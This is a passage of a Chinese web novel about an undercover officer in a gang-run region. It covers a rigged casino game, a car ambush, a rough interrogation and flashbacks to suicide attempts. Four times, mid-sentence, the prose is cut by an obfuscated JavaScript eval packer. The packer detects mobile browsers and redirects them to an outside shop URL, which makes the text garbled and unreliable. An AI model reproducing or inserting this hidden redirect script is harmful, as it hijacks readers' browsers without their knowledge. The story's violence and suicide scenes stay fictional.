甘川的嘴一路都在嚷:“哎呦这个万豪赌场原来那么输不起,大家可要注意了,别赢了被说成出老千!实际上到底谁在出老千自己心里最清楚!” 骂到万豪门口,正要上电梯,甘川忽然尿意上涌,让手下先去开车,凑到柳之杨耳边说:“亲爱的,陪我去趟厕所吧。” 柳之杨:“……你是什么小女生吗?” “刚刚骂得太难听了妈的,陈颂那个人又小气,我怕他一个想不通,埋伏在厕所里,你下半生的幸福可就没了。” 柳之杨拿他没办法,也怕陈颂真的找人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584358|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埋伏厕所,便陪他去了。结果甘川走到卫生间门口,还要柳之杨陪他进去。 柳之杨真的怀疑他是不是有什么癖好。 看见他的表情,甘川笑笑,“开玩笑亲爱的,你就在门口等我吧。” 五星级酒店的卫生间做得金碧堂皇、曲径通幽、弯弯绕绕。 柳之杨走到水池边,解下手表,用水洗了把脸。旁边女厕出来一个人,定睛一看,是王欣。 见到柳之杨,王欣兴奋道:“理事,我找到……” “嘘。”柳之杨往男厕方向看了一眼,换了华国云川方言,“毛(别)讲至点(这里)话。” 王欣点头,用云川方言把叠码仔的话复述了一遍。 柳之杨想了想,问:“你个有(有没有)另一个女生的照片?” 王欣从裤袋里掏出钱包,拿出一张有些褪色照片,指着其中一个短头发的女孩说:“这个就是她。” “个是喊作崔梓涵?” 王欣一愣,连连点头:“guo(哥)你咋个(怎么)认得?” “你毛管(别管)现在回克(回去)收起照片,我挨你(帮你)找。” 王欣点头,把钱包又踹回裤袋,正要走,肩忽然被人揽住。转头一看,是甘川。 “哎呦真巧啊,”甘川笑着,“这里都遇到王小姐。” 王欣害怕他,想挣脱,却被揽得更紧。甘川说:“你他妈不是才从这里出去吗?怎么还不怕死地到处乱晃,嗯?” 王欣嘴唇都在颤抖:“我,我……” 柳之杨说:“她有个朋友还困在赌场,她希望我帮她救出来。” 王欣一愣,就这样说出来了吗? 甘川打量着眼前的柳之杨,笑说:“你他妈真成圣人了啊,大哥我有没有提醒过你,不是份内的事情别他妈乱插手。是不是这个小姑娘在你耳边吹风啊!” 他说着,手从王欣肩上移到脖颈,反手掐住了她的脖颈。 “哥,”柳之杨急中生智,“哥,红品矿场出的宝石要卖吧!这两个姑娘会华语穆雅马语还会英语,把她们放到宝石市场上,就不用再找别的销售了!” 甘川的手果然松了些,想了想,放开了王欣。 王欣喘着气,躲到柳之杨身后。 甘川拍着柳之杨的肩:“还是我们柳理事想得长远。也是,之前建工的事情不需要女的,但现在要卖矿场的石头,女的,尤其是会很多门语言的女的,是个好东西。” 说着,甘川微微附身,对柳之杨身后的王欣用蹩脚华语说:“王小姐,乖乖听话,哥哥带你赚钱。” 王欣不敢答,只缩在柳之杨身后。 甘川直起身,问:“还有个女的在哪儿?” 柳之杨说:“就在赌场里。” 甘川“啧”了一声,“不好找啊。” “啪!” 外面忽然传来什么东西炸了的声音,而后,人群沸腾起来。不是恐惧、而是兴奋。 三人来到赌厅,只见陈颂的赌桌上方,一个女孩被吊在半空中。 她头发凌乱、嘴被蒙住,面朝下方赌桌,挑高很高的天花板上垂下四根绳子,分别捆住她的双手双脚。 王欣捂住嘴:“是,是崔梓涵……” 8. 老千 陈颂站起身,向赌徒介绍:“这个女的是华国人,来我万豪赌钱却还不上,我给了她一个机会,只要今天有人赢了这盘赌局,就可以把她带走,她欠下的钱也一笔勾销。” 下方赌徒们抬头看着她,眼神毫不掩饰地扫视在她年轻漂亮的脸庞和姣好身材上,好像她是什么物品。 万豪的赌徒们有穆雅马当地富豪,也有西方白男白女,甚至还有黑人。这些人因为身世不干净被禁止进入华国,见不到华国女人,更别说有机会碰到。 几乎所有赌徒都加了注。 荷官笑问:“还有人要加注吗?” “给老子加到三百万!” 这声掷地,赌厅内抖了三抖,甘川朝赌桌走去,赌徒们自觉为他让出一条道。 柳之杨跟在甘川后半步,低声在他耳边说:“干嘛要到三百万!一百万够了。” 甘川笑说:“当然是因为大哥我相信你。喂,陈颂,我都到三百万了,你还只到五十万?玩儿那么保守?” 陈颂冷冷盯着他,随手丢出几个筹码。 荷官说:“一家加码到三百万。” 甘川走到赌桌前,立刻有人给他让位。甘川却坐到一旁,让柳之杨坐赌桌。 柳之杨坐下。 周围围满赌徒,对面陈颂死死盯着他,头顶比灯还多的监控“滴滴”响着,坐在这里,柳之杨有些紧张。 一滴水落到面前的赌桌上,晕开一小片。 柳之杨抬头。上方吊着的崔梓涵满头大汗,泪水顺着汗水滴落。她原本没想哭的,可看到了下方的王欣,再也忍不住。 柳之杨的视线从崔梓涵落到陈颂身上,放在桌下的左手在颤抖,他真想拔出枪一枪解决了陈颂。 荷官摇了摇铃,赌局开始。 牌又换了新的,几家下注的人顺着摸过去牌身,确认没问题,交还到荷官手上。 “请庄家先摸。”荷官对柳之杨做了个“请”的手势。 牌放到赌桌上,像千斤重压在柳之杨身上。柳之杨深吸一口气,伸出手,摸下一张牌。 黑桃A。 第一口气这才松下。 接下来两次摸牌,柳之杨分别摸到了红桃A和梅花A。 他和甘川对视一眼,稳了。 三家都要了注,轮到庄家开牌,所有人都紧紧盯住柳之杨手上的牌。 柳之杨翻开,三个A。 甘川笑说:“亲爱的,我们今晚运气也太好了!” 好多叹息的声音发出,二三两家的中年人摇摇头,表示输了。 陈颂死死咬住后牙。 柳之杨绝对出千了,陈颂作为老板很明白,一个人不可能运气好成这样。可抓不到证据,只能愿赌服输。 崔梓涵被放下,刚落地,就摔倒在地。 手下人把她扶起来,感觉到什么,对甘川低声说:“老大,脚筋被挑断了。” 甘川骂了一句,示意手下把她先带到停车场。 王欣站在人群中,看见她的好朋友像个破布偶被人打横抱起,泪水不住地涌出。 她跟了上去,在崔梓涵上电梯前喊住她,用中文说:“梓涵,你别怕,他们是好人。” 崔梓涵回头,看见王欣,哭着点了点头。 手下把兑换好的筹码送到甘川手中,一张沉甸甸的金卡。 甘川拿到手的第一件事就是满场找陈颂,得知陈颂已经走了,非常遗憾:“哎呦真想给他看看,到底是谁要找大师驱邪,这狗养的蠢猪。” 柳之杨无语,转身往电梯走去。 甘川站在原地,笑着用中文逗他:“亲爱的,等等我一起走嘛。” 进入电梯,手下们站在四周,给中间的柳之杨和甘川留出位置。 电梯门内沉寂半晌,柳之杨“咳”了下,说:“今晚谢谢你,哥。” 甘川满脸震惊地转头看向他,用手打了下前面手下的后脑勺,“你们柳理事刚刚说了什么?” 手下低头回答:“柳理事说,谢谢甘总。” “不是我幻听啊,”甘川笑起来,勾住柳之杨的肩,拍着他的胸脯说,“虽然花了我几百万,但这是大哥我应该做的,不用谢。” 柳之杨有了一丝笑意,把头撇到一边。 “叮”地一声,电梯到达停车场。 甘川放开柳之杨,边走边说:“不过我确实有个事情要麻烦你去做一下。” “觉得麻烦就别说了。”柳之杨说。 甘川自动忽略,说:“建工集团最近有个水坝的项目你知道吧?执政官达耳迟迟不给我们过,说要学你们华国招标,我最近要忙招标的事情,要是矿上有什么事,得你去看看。” 柳之杨说:“今天泰金打电话给我了,我明天过去。” 甘川点头。 手下推开通往停车场的门,甘川见车没停在门口,有些不爽,“哎呦下次车停近一点啊。” 手下说:“抱歉甘总,车就在对面。” 甘川一行人往车道对面走,忽然,车道尽头亮起一盏明亮的车灯,刺得所有人都睁不开眼。 就在同时,那辆车忽然发动,直朝甘川他们撞来。 柳之杨迅速把甘川挡在身后。 车在距离柳之杨一米的地方停下。 车窗打开,陈颂探出脑袋,没有笑意地笑了笑,问:“吓到你们了吧?不好意思。” 陈颂的司机也吊儿郎当地和甘川道了个歉。 柳之杨的心都要跳出来了,他压下眉头,生气地说:“陈副总,玩笑开得有点太大了。” 陈颂笑着升起车窗,让司机开车。 直到陈颂的车转弯离开,所有人才松了口气。 柳之杨转身问甘川:“没事吧?” 柳之杨不知道,从自己挡在他面前时,甘川的眼睛就粘在他身上下不来了。 这不是甘川第一次遇到这样的事,柳之杨也不是第一次这样做。 每次劫后余生,甘川都觉得自己是世界上最幸运的人。 他抬手,极具占有欲地捏了捏柳之杨的后颈,说:“有柳理事保护,我这辈子能有什么事?” 柳之杨轻笑了笑,扭开头,开门让甘川上车。 车上,崔梓涵从被救后一句话没说,只静静靠着窗户流泪。 柳之杨坐在她身边,见状,给她披上一条毯子,什么都没说。 甘川坐到前座,系好安全带,转头对崔梓涵说:“你可真会挑啊小姑娘,两辆凯迪拉克一辆宾利,你就坐宾利里了。” 说完,也不需要任何人回应,对司机说:“回海滨别墅。” 车平稳地行驶在路上,甘川点起一根烟。 和柳之杨相反,甘川抽的是云烟,这是华国很有名的一种烟,味道足烟味儿大。在华国,这是一种随处可见的品牌,但在穆雅马,这种进口烟是很难得的。 柳之杨默默打开窗户散味。 崔梓涵看着窗外闪过的路灯,说了今晚第一句话:“我爸也抽这个烟。” 甘川一愣,说:“哎呦姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584359|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我知道今晚我救了你,但你也不用认我做爹的。” 柳之杨捏了捏眉心。他就不该祈祷甘川能说出什么人话。 崔梓涵却笑了笑,虽然很短,但也是真心地笑了。 甘川吸了口烟,从后视镜里盯着柳之杨的眼睛,问:“不过,亲爱的,你那个千术什么时候教教我呗?” 柳之杨食指一动:“什么千术?” 甘川说:“你不是一直在出老千吗?哎呦不用担心,我肯定不会怪你,只是,我以前怎么不知道你有这个技能?” 崔梓涵回过头,不敢置信地问:“你出千了?怎么可能?” 柳之杨愣在原地。 他确实一直在出千,来穆雅马前,警局专门找人训练过他们这种本领,找的是一位华国大佬。华国的千术千变万化层出不穷,可放在穆雅马,这些华国的千术还很少见。 柳之杨自以为没有漏洞,毕竟连高速摄影机都捕捉不到他的手速。没想到,居然被甘川看透了。 崔梓涵见他没否认,更惊讶了,问:“你怎么做到的!赌场里全是高速摄影机,每个赌徒都有严格监控,你怎么有机会出老千的!” “就这样再这样,”甘川一只手拿烟,一只手和崔梓涵比划了一下,“每次摸牌的时候,他摸的不是第一张。对吧,亲爱的?” 柳之杨没法辩解,因为他说得对。 “为什么摄影机没捕捉到?”崔梓涵问。 甘川说:“视角问题啊妹妹,我刚好坐在他身边才看清的。监控从上往下拍是看不清的。” “可是,”柳之杨忍不住说,“我摸牌换手的速度非常快。” 甘川笑笑,双指指了指自己眼睛,又指了指前视镜里的柳之杨,说:“那当然是因为大哥我时刻在盯着你啊。况且我眼神很好的,5.3呢!” 这回,柳之杨没话说了。 “亲爱的你还没回答我,你怎么会那么厉害的千术的?” 柳之杨说:“不然我怎么会欠债逃到这里。” 甘川笑:“原来以前就是个赌徒啊!现在可不能再有瘾了哦。虽然你懂出老千,但人家对面也未必不懂啊!” 柳之杨抬眼,“你也看出陈颂有问题。” 甘川说:“他那把把胜把把胜,没问题才怪好吧!但我倒是没看出他怎么出老千的。” “是桌子和牌。”崔梓涵靠着车边,没什么精神地说: “他们送来的新牌里其实都有芯片,不管怎么洗,放在桌上后,都能自动识别出第几家的牌是最好的。识别结果通过蓝牙传到荷官耳里的小设备,荷官就会通过转盘控制第一轮的发牌顺序。例如,最好的牌在第四家,那陈老板就会被干预成为第一轮的第四家,拿到最好的牌。而之后的顺序都是由赢家定,陈老板肯定也有识别结果,如此,就能一直赢下去。” 甘川听得一愣一愣地,烟要烧到手上,给他烫得一激灵,把烟屁股丢出窗外,才说:“妈的我操,这些法子真阴啊。” 柳之杨也说:“所以,无论是不是荷官发牌,输赢都定了,因为我们只可以摸剩下牌面的第一张。而我恰好出了千没摸第一张,这才赢了几把。” 崔梓涵点头。 “不过亲爱的,”甘川问,“那牌一大沓,哪怕你手速快摸了下面的牌,又怎么知道哪一张是什么?” 柳之杨勾起嘴角,说:“这是千术的核心秘密,我……” “轰!!” 十字路口处,一辆车毫无预兆地出现,狠狠撞了上来。 9. 疯狗 柳之杨的头砸到窗上,短暂昏迷后,他挣扎着睁开眼。 烟雾弥漫中,左边车门被打开,身边昏迷的崔梓涵被一个男人抱了下去。 柳之杨要抢,却被男人一拳打倒。他靠在座椅上,眼前的视线模糊,像是被什么糊住,抬手一摸,才发现是血。 跟在后面的手下们连忙下车,把后座的柳之杨抬了出来。 撞人司机乘机开着车跑了。 柳之杨顾不得头上的痛,摇晃地站起身,命令几个小弟开车去追,一边往被撞得稀烂的车走去。 左前车受损最严重,车门变形,卡在里面,司机满脸是血,受伤比较重。旁边的甘川双眼紧闭,血顺着额头一点点滴下。 手下破开驾驶位的窗,又往里将前挡风玻璃打碎,这才将甘川和司机拖出来。 柳之杨踉跄地跪到甘川身边,去探他的侧颈。要碰到时,手被人一把抓住。 甘川醒了。 “妈的。”他坐起身,抹开脸上的血水。 柳之杨重重松了口气,坐回地上。这才发现,自己全身被冷汗和血浸湿,耳朵也一直在嗡鸣。 “真是他妈躲得过初一躲不过十五啊,”甘川骂着,看见柳之杨一头血,“你没事吧?亲爱的。” 柳之杨说:“比你好点儿。”站起,对甘川伸出手。 甘川起身,看着一片狼藉的现场,一边骂人一边从怀里拿出一根烟。身边手下立刻有眼力见地送上火。 甘川才要点,又“轰”地一声巨响,被撞的宾利车炸了,燃起熊熊大火。 甘川拨开小弟的手,拿着烟走过去,用车身的大火点燃了烟。抽了两口,手机响了。 甘川叼着烟接起,听了一会儿后,把剩下的烟丢进火场,问手下要来另外一辆车的车钥匙,说:“亲爱的,撞我们的车下县道了,走吧。” 柳之杨的右手止不住颤抖,走到车前,刚打开驾驶位的车门,被甘川一把按了回去。 甘川看着他说:“我来开。其他人,一批处理这里的事情,一批跟上!” 十分钟后,柳之杨无比后悔让甘川开车。 车没走国道,往反方向跑了几百米,开进县道。 穆雅马国道都没修得多好,县道更是全沙石路,凹凸不平、颠得要命。柳之杨握住车顶扶手,勉强不会被撞到头。 除了路颠,甘川也癫了。他抹开头上血水,一脚油门踩到底,不要命地往前开。 柳之杨不敢劝,他知道,甘川被惹怒了。 “老子这辈子光明正大赢下来的东西没多少,必须抢回来。 因为绕行包抄,半小时后,柳之杨在斜后方的道路上看到了那辆皮卡。它前头有大块凹陷,车灯坏了一个。 甘川踩下油门,一把方向盘打死,在两条路汇入的岔路口猛地刹车,牢牢堵在皮卡面前。 皮卡没料到,在甘川的车前紧急刹车。 柳之杨抬手遮住灯光,往皮卡车里看去。 开车的是个年纪不大的男人,脖子上纹了一大圈纹身,眼睛大得像铜铃,正死死盯着自己——活像一条疯狗。 在意识到这点后,柳之杨眉尾一跳,催促甘川道:“倒车!” 甘川也看出不对劲,压下眉头,挂了倒档开始倒车。但已经来不及了。 那疯狗直接开着皮卡,又撞过来。 甘川迅速调转车身,用车尾对准皮卡。 “砰!” 甘川的车只轻轻往前移动了一点,再看那皮卡车,已经侧翻到一边,车头都挤烂了。 甘川下车,大声骂道:“老子开的是美国总统的防弹车!” 一边骂,一边把倒挂在皮卡内的崔梓涵救出,抹开脸上的血,打横抱起她,放到车后座。 转头一看,柳之杨还站在原处,定定看着车里翻倒的疯男人。 甘川知道,圣人又要发挥圣人属性了——不是,那疯男人怎么看也不是华国人吧! …… 海港边的仓库很潮湿,血粘在身上,怎么都洗不干净,伤口也因为汗不断地变肿、加重。 雷被疼醒,猛地睁开眼,车的远光灯刺到他眼里,生理性眼泪止不住地往下掉。隐约中,他看到了两个男人,一坐一站。 “疯狗醒了。”坐着的甘川笑说。 柳之杨迈开长腿,走到雷面前,拽起他的头发说:“听好,你的命是我救的,我给的,知道了吗?” 雷抬起头,看着眼前衣冠楚楚的漂亮男人,拽头发的手可真有力啊。 柳之杨见他不答,扬起手,扇到他脸上,“听见没有?” 雷的脸被扇到一边,他顶了顶脸颊,像个流氓似的笑起来。下一秒,脸上又被抽了一巴掌。 “听见没有?” 雷要起身反抗,却发现手脚都被捆在椅子上,仓库里也不止他们三人,还有不少小弟躲在成堆的箱子后面。 雷默默坐下,刚沾到凳子,脸又被抽了好几巴掌,劲很大,男人的手又冰,疼得他龇牙咧嘴。 见柳之杨还要抬手抽他,忙说:“知道了,别打了。” 柳之杨拽着他的头发,强迫他抬头看自己,“为什么抢崔梓涵?” “谁?” “崔梓涵。” “我不认识啊。” “你不认识为什么拼了命抢她。” 疯狗的眼神清明了些,懵懂地说:“我不是要抢他,我是要救她。” “你不是不认识她吗?” 疯狗说:“我忘了她叫什么名字了,反正我真的是去救她的。” “为什么救她?” “我忘了,反正就是要救她,我看到你们把她抱上车,脑子里就有个声音在响,要从你们手中把她救出来。但我真不记得为什么要……” 柳之杨抬手一拳打在他脸上。 “你干什么!我不是在回答你的问题吗?” “好好说。” “你妹的老子是在好好……” 又是一拳。 柳之杨甩甩手:“不要在我面前自称老子。” 甘川用舌头顶了顶侧脸,觉得有点疼。 雷愤怒地瞪着柳之杨,好像下一秒就要跳起来撕咬他。 柳之杨好像感受不到这份怒火,冷漠地看着他,“说话。” 雷深吸一口气,还是说道:“我脑子,有点问题,会忘记事情。我真的不记得为什么要救她。而且你们不是已经抓到她了嘛,她肯定会说。我要是记得不说对我有什么好处?” 有点道理。柳之杨心想,又问:“那你还记得什么?” “看你问什么。” 柳之杨说:“你在万豪做什么?当鸭吗?” 雷才要否认,意识到他在问什么后,愤怒地看向他:“我看起来像做鸭的人吗!?” 柳之杨说:“那你做什么?” 雷快被他搞疯了,这男人像个机器,和他对话有种无力感。还不如坐着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584360|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个男人过来打自己一顿来得爽。 “说话。”柳之杨的巴掌放到他脸边,就要打下来。 “我他妈是个催债的,催债的妈的!” 柳之杨放下,问:“你一个催债的,阵势弄得像杀手干什么?” “以前当过。” 柳之杨的表情这才有了点儿变化,又问:“知道我为什么救你吗?” “不知道。” 柳之杨的手又举了起来。 “知道知道,你他妈想让老……我给你卖命嘛。” “你卖不卖?” 雷扫了一圈柳之杨,目光落在他紧致的腰身上,说:“卖命不卖身,不过,也可以看情况而定。” 下一秒,雷直接被踹翻在地。 “老子真是给你脸了!”甘川气得往雷脸上踹了好几脚,“你他妈眼睛再乱看,给你挖了喂狗!” “错了错了!”雷被护住头,被打得蜷缩在一起。 甘川喘着气,往后揽了下落下的头发,指着雷说:“你之后跟柳理事干,自己有点分寸,不然老子……” 说着又要打,雷害怕得缩了一下。 甘川仿佛发现了什么开关,他举手,雷就缩一下,于是不断举手放下举手放下。 “哎呦亲爱的,你看,像不像狗?” 柳之杨无奈,示意手下把雷扶起来,拉着甘川的手臂出了仓库,走到码头上。 叁区码头是柳之杨负责,主要接收国外进口的建工材料,被他打理得井井有条。 这样安静也干净,谈事情方便。 甘川抽出烟,对柳之杨挑挑眉,示意点烟。 柳之杨不动。 甘川直接上手,拉开柳之杨的西服往里摸——不止摸打火机,还揩了把油。 这里是仓库外面,任何一个手下偏头就能看到这一幕。 柳之杨赶忙往后退了一步,躲开咸猪手,“别乱摸。” 甘川委屈地说:“哎呦那你给我打火机啊亲爱的。” “等你头上的伤不流血再说。”柳之杨抬眼,看着甘川的纱布,由于刚才的剧烈运动又开始往外渗血。 甘川抬手摸了摸,看见一手的血,还是默默把烟收起来了,看着茫茫大海,他想到什么,说:“红品矿山是泰金地盘,小心点。明天要是疯狗不听话,就不用带他回来了。” “好。” 甘川嚷嚷着头疼回了别墅,早有一大批医生严阵以待。 柳之杨见他还有心情骂人,就知道没什么事,离开别墅,来到一栋老旧居民楼前。 楼在甘川的工地旁,打开门就能看见施工现场。老旧的墙砖脱落不少,水泥地上也粘黏着许多不明液体。 柳之杨下了车,手下递上一个医药包。他独自上楼,来到七楼走廊尽头的一个房间,屈指有节奏地敲门。 门里的说话声一顿,门开了,暖光撒到屋外,又很快消失。 “好些了吗?”柳之杨进屋后,把医药包放在桌上,用华语问。 王欣看着床上的崔梓涵,说:“医生来过,说只是收了些惊吓,问题不大。她刚才其实醒过,现在又睡了。谢谢你啊,柳理事,救了她好多次。” 暖光照在柳之杨脸上,好像为他打上一层光辉。 柳之杨垂眸,说:“我要离开东区一段时间,你们留在工地上,白天跟着阿姨们烧饭,别乱跑。” 王欣点头。 正在这时,崔梓涵一动,醒了。 10. 初见 正在这时,崔梓涵一动,醒了。她眨了眨眼,扶着脑袋慢慢坐起身,哑着声音问:“欣欣,几点了?” “马上天亮了。”柳之杨走到床边,为她递上一杯温水。 崔梓涵顺着手臂看到柳之杨,眼里立刻攒满泪水,接过水,颤巍巍地说:“大,大佬,撞车的那个人……” 柳之杨说:“我会惩罚他。” 王欣忙介绍道:“梓涵,这是柳警官,是我们华国警官,是他救了你,两次!” 谁知崔梓涵一把拽住柳之杨的衣角,恳求道:“警官,你饶了那个人吧!他撞车是为了救我,是我的错,你饶了他吧!” 反转来得太快,柳之杨问:“你和那个人认识吗?” 崔梓涵连连点头:“他,他叫雷,是赌场里催债的人。我在赌场里被打的时候,是他帮我开脱,教我怎么活下来的,要不是他我早死了!他也是被逼的,他是好人!” 柳之杨说:“他刚撞了我们的车,两次。” “警察叔叔,他是因为脑子有问题,他有间歇性失忆症,会忘记自己做什么事的原因,只会记得目的!他来撞车不是为了害你们,是为了救我!他以为你们是坏人,他是来救我的!” 柳之杨有些诧异,疯狗说的居然都是真的。 王欣在一旁听着也惊了,“不是,梓涵,催债的也是坏人、撞车的也是坏人,你不能因为他和你关系好就觉得他是好人!” “欣欣,你来这里还不懂吗?哪里有什么好人坏人,好人也是坏人,坏人也是好人,这才是穆雅马!” 王欣看着她的好朋友,好半天说不出来话。 柳之杨把话题转开,问崔梓涵:“你说雷有失忆症,怎么回事?” 崔梓涵说:“其实我也只是随口说的,我不知道他这个病叫不叫失忆症。反正就是,他会不记得为什么要救我,但他就是会来救我。” 柳之杨懂了,叮嘱几句后,和她们告别。 走到楼梯口,柳之杨点起卡比龙,看着被乌云遮住一半的月亮。 雷,失忆症。 他吐出一口烟,有点意思。 夜里乌云密布,到了第二天下午,果然稀稀拉拉地下起雨。从穆雅马东区去红品矿山要两个小时,距离并不远,但中间全是高山阻隔,路也难走。 好在,甘川早和控制道路的达耳打过招呼,一路过关很顺利。 雷在前面开车,他自从昨天被打过之后,今天倒是正常许多,车也开得平稳。 进山之后,雨也大了不少,有节奏地打在车顶。 柳之杨一直到天亮才睡,这时也困了,杵着脑袋小睡起来。 不知道睡了多久,车猛地一刹,柳之杨醒了。 “前面塌方了。”雷说。 柳之杨往前挡风玻璃看去,只见本就不宽的路面上出现了一个巨大的土坡,将路全部堵死。 他拨通泰金的电话。 那头的泰金毕恭毕敬,说等雨停了马上派人下去挖。 事已至此,只能等了。 柳之杨正要继续睡,听见雷问: “柳老板,反正也没事干,你能不能告诉我,你为什么要跟着甘川干?” 柳之杨睁开眼,看向前座的雷。 雷单手扶着方向盘,手指一下一下地敲,“怎么,不能说?” 倒不是不能说,只是六七年了,这是柳之杨第一次被问到这个事,而柳之杨也第一次回忆七年前,他遇到甘川的那晚。 …… 柳之杨并不是第一个被派到穆雅马当卧底的警察,在他之前,还有一个叫米拉的警察。 米拉来穆雅马三年,听上级说,是穆雅马的老油条。柳之杨只要跟着他学习、配合他完成任务就行了。 来到穆雅马,柳之杨和米拉配合默契,救下不少失足的华国公民,私底下一起喝酒吃饭,成了无话不谈的好兄弟。 直到一次行动泄露,柳之杨才知道,他的好兄弟米拉早就是个瘾君子。他背叛了祖国人民对他的期待,在穆雅马甘愿沉沦,甚至踩着华国人往上爬,把当年做警察时的宣誓抛之脑后。 柳之杨做警察以来,第一个亲手逮捕的人就是米拉。 他将米拉遣返回国,结果米拉在穆雅马树大根深,在穆雅马当地势力的帮助下,半路逃走了。 疯了的米拉悄悄回到华国,拿着枪,在一个夕阳满天的日子,来到一间普通居民房中,杀了正在做饭的一个妇女。 杀完人,他就地被华国警察逮捕。参与行动的人都说,在抓米拉时,米拉已经吸du上头,满身的血却止不住笑。 柳之杨直到一周后才收到米拉被判死刑的消息,同时,还有一份死亡通知——他母亲的。 可柳之杨当时在湄公河解救华国船员,等回到华国,只剩一坛骨灰。 柳之杨穿着丧服,打着伞,身体不住地颤抖,却一滴泪都流不出——他连报仇都无门,米拉已经被处决了。 从那时起,他发誓,无论谁的葬礼,他都不会再哭了。 柳之杨顶替了米拉的位置,回到穆雅马。 这里天气实在是太热了,风吹过来也是热的,无休无止,无论到哪里都逃不出,就像心中那股无处发泄的火。 柳之杨想了很多天,怎么样才能报仇,才能灭了心中的火。最后想出一个好办法。 他穿着母亲改的二手西装,来到穆雅马东区的郊外。 柳之杨在路口站了很久,终于看见道路尽头,驶来一辆大货车,他裹紧外套,走到马路上。 大货车朝他冲来,刺眼的车灯照亮他消瘦的脸。 柳之杨几乎以为自己到地狱了。 直到眼前的灯光消失、耳边传来司机的咒骂声,他睁开眼,发现自己躺在路上。 “……瞎子吗!吓死我了,真是晦气大晚上遇到你这种疯子!!”司机的骂声忽远忽近,柳之杨听不真切。 “哎呦你他妈的,”除了司机,柳之杨身边还有个声音,骂得比司机还难听,“差点儿撞到人还有理了,那么大的人都可以撞上,谁知道你他妈是不是边睡觉边开车?!” 司机也是在江湖上混的,听这人说话如此难听,不想惹上,一脚油门跑了。 “诶你他妈跑什么!老子没让你赔医药费呢你他妈的,最好别让老子在别处遇到你,不然搞死你个没素质的!!” 大货车消失在弯道处,骂声不止,那人一边骂,一边朝柳之杨走来。 红楼梦有王熙凤“未见其人,先闻其声”,今天柳之杨算是领会到了。 耳朵疼得像是被qj了。 柳之杨慢慢爬起身,揉了揉耳朵,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584361|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向“救命恩人”。 很多初遇其实没那么浪漫,当柳之杨回忆时,才发现已经忘记了那时甘川的模样。只记得他一双棕色的眼睛看着自己,亮得不可思议。 甘川笑说:“兄弟,遇到什么事,不至于拿自己性命开玩笑。” 说着,一把揽住他的肩:“哥们那儿有个活儿,去干建筑,一个月保你能赚几千。跟哥去吧,以后,别想着自杀了。” 柳之杨只当他是随口一说,但现在气氛已经被打破,不是自杀好时候。正要走,余光忽然瞟到,甘川的裤拉链没拉。 甘川顺着他眼神往下看:“哎呦刚在山上撒尿,看你出事冲下来的。”边说,边把拉链拉上。 柳之杨没想到,甘川真的有个不大的工地,做了个小理事长。 柳之杨做了工地的工头。他冷漠古板、行事果断,每天忙得不可开交,将工地管理得井井有条。 第一阶段建设完成,第一笔工程款到账的那天清晨,柳之杨正在楼顶天台抽烟。 他看着手机里的几千块钱,下意识想往家里打,等进入打款界面才发现,他没家了。 柳之杨仿佛又坠入深海。 华国也很久没有新的任务,他忍不住怀疑,自己是不是被抛弃了? 如果连人民和祖国都不需要他了,他不知道自己还活在这个世界上做什么。 这样想着,他越坠越深,越来越呼吸不过来。 他希望脱离苦海,希望去一个能实现自己价值的地方。 他想着,站上围栏,看着楼下的水泥地,将烟丢了下去。带着火光的烟在坠落中砸到窗户、阳台,等落到地上,已经看不见在哪儿。 “我靠!!”身后传来一声喊。 柳之杨回头,甘川正朝自己跑来。 柳之杨想说什么,脚下突然一滑,整个人瞬间失重。 他脑子一“嗡”,这辈子就这样结束了吗? 不。一双有力的手抓住了他。 甘川半个身子都探了出去,汗水滴落,整个人憋得通红,他死死拉着柳之杨,嘴里蹦出五个字: “我操你大爷……” 柳之杨笑了一下。 爬上来后,两个人都累得杵着围栏喘气。 柳之杨想走,也不敢看甘川,他不希望甘川问他为什么要跳楼。 “之杨,”甘川果然喘着气开口了,“你有没有带火?” 柳之杨一愣,而后从兜里拿出打火机,反手为甘川点燃嘴边的烟。 